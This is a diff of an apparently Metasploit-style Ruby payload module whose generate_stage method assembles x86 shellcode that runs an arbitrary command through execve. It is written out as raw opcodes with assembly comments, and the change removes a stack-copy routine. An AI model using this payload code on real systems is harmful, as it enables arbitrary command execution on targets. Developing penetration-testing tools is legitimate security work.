@@ -46,27 +46,20 @@ def initialize(info = {})
46
46
#
47
47
def generate_stage
48
48
cmd_str = datastore [ 'CMD' ] || ''
49
-
50
49
# Split the cmd string into arg chunks
51
50
cmd_parts = cmd_str . split ( /[\s ]+/ )
51
+ # the non-exe-path parts of the chunks need to be reversed for execve
52
+ cmd_parts = ( [ cmd_parts . first ] + ( cmd_parts [ 1 ..-1 ] || [ ] ) . reverse ) . compact
52
53
arg_str = cmd_parts . map { |a | "#{ a } \x00 " } . join
53
- arg_len = arg_str . length
54
54
55
- # Stuff an array of arg strings into memory, then copy them all on to the stack
55
+ # Stuff an array of arg strings into memory
56
56
payload = ''
57
57
payload << "\x31 \xc0 " # XOR EAX, EAX (eax => 0)
58
- payload << "\x50 " # PUSH EAX
59
- payload << Rex ::Arch ::X86 . call ( arg_len ) # JMPs over CMD_STR, stores &CMD_STR on stack
58
+ payload << Rex ::Arch ::X86 . call ( arg_str . length ) # JMPs over CMD_STR, stores &CMD_STR on stack
60
59
payload << arg_str
61
- payload << "\x5e " # POP ESI (ESI = &CMD)
62
- payload << "\x89 \xe7 " # MOV EDI, ESP
63
- payload << "\xb9 " # MOV ECX ...
64
- payload << [ arg_len ] . pack ( 'V' )
65
- payload << "\xfc " # CLD
66
- payload << "\xf2 \xa4 " # REPNE MOVSB (copies string on to stack)
67
- payload << "\x89 \xe3 " # MOV EBX, ESP (puts ref to copied str in EBX)
60
+ payload << "\x5B " # POP EBX (EBX => &CMD)
68
61
69
- # now EBX contains &cmd_parts[0], the exe path (after it has been copied to the stack)
62
+ # now EBX contains &cmd_parts[0], the exe path
70
63
if cmd_parts . length > 1
71
64
# Build an array of pointers to the arguments we copied on to the stack
72
65
payload << "\x89 \xD9 " # MOV ECX, EBX
@@ -75,7 +68,7 @@ def generate_stage
75
68
cmd_parts [ 1 ..-1 ] . each_with_index do |arg , idx |
76
69
# can probably save space here by doing the loop in ASM
77
70
# for each arg, push its current memory location on to the stack
78
- payload << "\x81 \xC1 " # ADD ECX, + len of previous arg
71
+ payload << "\x81 \xC1 " # ADD ECX, + ...
79
72
payload << [ cmd_parts [ idx ] . length +1 ] . pack ( 'V' ) # (cmd_parts[idx] is the prev arg)
80
73
payload << "\x51 " # PUSH ECX (&cmd_parts[idx])
81
74
end
0 commit comments